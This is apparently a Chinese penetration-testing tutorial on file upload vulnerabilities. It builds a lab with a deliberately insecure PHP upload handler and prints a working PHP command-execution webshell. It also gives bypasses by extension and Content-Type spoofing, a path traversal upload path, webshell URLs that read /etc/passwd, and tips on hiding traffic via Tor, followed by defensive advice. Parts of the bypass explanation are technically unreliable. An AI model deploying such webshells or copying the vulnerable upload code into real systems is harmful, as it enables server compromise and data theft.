0x01 攻击板块
文件上传漏洞是黑客们的常用武器之一,利用它可以将恶意代码上传到服务器并执行,从而进一步控制系统或者窃取数据。攻击原理通常是由于服务器对上传文件类型、大小或内容未进行严格校验,导致攻击者能够上传恶意文件。
文件上传漏洞的常见类型
- 文件类型验证不当:服务器仅通过文件扩展名进行验证,而不检查文件内容。例如,上传一个伪装成图片的WebShell。
- 路径遍历问题:上传文件后,由于路径处理不当,可能被存储到可执行目录或覆盖关键文件。
- MIME类型验证缺失:服务器只检查文件的MIME类型而不检查内容,攻击者可以通过修改HTTP请求的头信息绕过检查。
文件上传漏洞的攻击目标
攻击者通常通过文件上传漏洞实现以下目标:

- 上传WebShell:通过上传恶意脚本文件直接执行命令。
- 上传病毒或木马:在服务器内部传播恶意软件。
- 盗取数据:上传窃取服务器数据的代码。

有效的攻击都是从理解目标的逻辑和结构开始的。渗透测试工程师必须从攻击者视角分析如何利用这些漏洞。
0x02 实战环境搭建
进行任何安全测试之前都必须搭建一个与真实环境接近的测试环境。下面是如何构建一个模拟文件上传漏洞的系统,以进行研究和测试。
环境需求
- Web服务器:建议使用Apache或Nginx,支持PHP。
- 数据库:MySQL或SQLite,用于存储用户信息。
- 文件管理系统:简单的文件上传模块。
环境搭建步骤
- 安装Web服务器与数据库:可以使用Docker来快速搭建环境。如下是一个简单的Dockerfile:
<pre><code class="language-shell"># 使用基础镜像,安装PHP及Apache FROM php:7.4-apache
安装MySQL扩展
RUN docker-php-ext-install mysqli
提供上传文件的目录
RUN mkdir /var/www/html/uploads RUN chmod 777 /var/www/html/uploads
将文件上传代码复制到容器中
COPY ./file_upload.php /var/www/html/
EXPOSE 80</code></pre>
- 文件上传代码编写:一个简单的PHP文件上传代码示例:
<pre><code class="language-php"><?php // 上传文件处理 if ($_SERVER['REQUEST_METHOD'] === 'POST') { $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
// 检查文件类型 $fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); if($fileType !== "jpg" && $fileType !== "png") { echo "File type not allowed."; exit; }
// 上传文件 if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file ". basename($_FILES["fileToUpload"]["name"]). " has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } ?></code></pre>
环境验证
- 启动容器:运行
docker build -t file-upload-test .然后docker run -d -p 80:80 file-upload-test。 - 访问测试页面:通过浏览器访问
http://localhost/file_upload.php,验证文件上传功能是否正常。
0x03 Payload构造的艺术
文件上传漏洞的利用通常要求攻击者具备构造有效Payload的能力。Payload的目标是确保上传的恶意文件能够被执行,从而实现攻击目的。
构造WebShell
- 基础WebShell:一个简单的PHP WebShell代码如下:
<pre><code class="language-php"><?php // 执行命令 if(isset($_REQUEST['cmd'])) { echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?></code></pre>
绕过文件类型验证
- 文件扩展名伪装:将WebShell.php改为WebShell.jpg,通过修改HTTP请求头中的
Content-Type为image/jpeg来绕过简单的MIME类型验证。
上传路径控制
- 路径遍历:如果服务器存在路径遍历漏洞,可以通过修改上传路径实现对系统文件的覆盖,例如
uploads/../../../var/www/html/index.php。
0x04 流量捕获实战
在成功上传WebShell后,攻击者通常会进行一系列的操作来控制服务器并窃取数据。
WebShell的使用
- 远程命令执行:通过浏览器访问
http://localhost/uploads/WebShell.php?cmd=ls可以列出当前目录下的文件。 - 数据窃取:访问
http://localhost/uploads/WebShell.php?cmd=cat /etc/passwd来查看系统用户信息。
流量伪装技巧
攻击者可能会使用流量分析工具如Wireshark来分析上传后的通信并进行伪装,以避免检测。
- HTTPS加密:通过SSL中间件将通信加密,减少被检测的风险。
- 流量混淆:使用工具如Tor进行流量混淆,隐藏真实来源。
0x05 检测与防御

甲方安全团队需要了解如何检测并防御文件上传漏洞。
服务器配置
- 严格的文件类型验证:使用PHP的
getimagesize()等函数来验证文件是否为真实的图片。 - 限制上传目录权限:确保上传目录不可执行,使用
chmod 644设置权限。 - 监控上传流量:使用流量检测工具来识别异常上传行为。
入侵检测系统
- IDS/IPS部署:在网络边界部署入侵检测系统以识别潜在的文件上传攻击。
- 日志分析:定期分析服务器访问日志以发现可疑的文件上传记录。
0x06 个人经验分享
在多年的渗透测试工作中,文件上传漏洞一直是一个高效的攻击路径。以下是一些个人经验:

- 多层次验证:不仅验证文件扩展名,还应通过文件内容和MIME类型进行多层次验证。
- 定期测试和审计:在每次系统更新后进行全面的渗透测试,确保无漏洞可利用。
- 教育和培训:提高开发人员和运维团队对文件上传安全的认识,减少低级错误。
文件上传漏洞看似简单,却能提供广泛的攻击面。每个安全团队都应认真对待此类漏洞,定期进行测试和审查,以确保系统安全。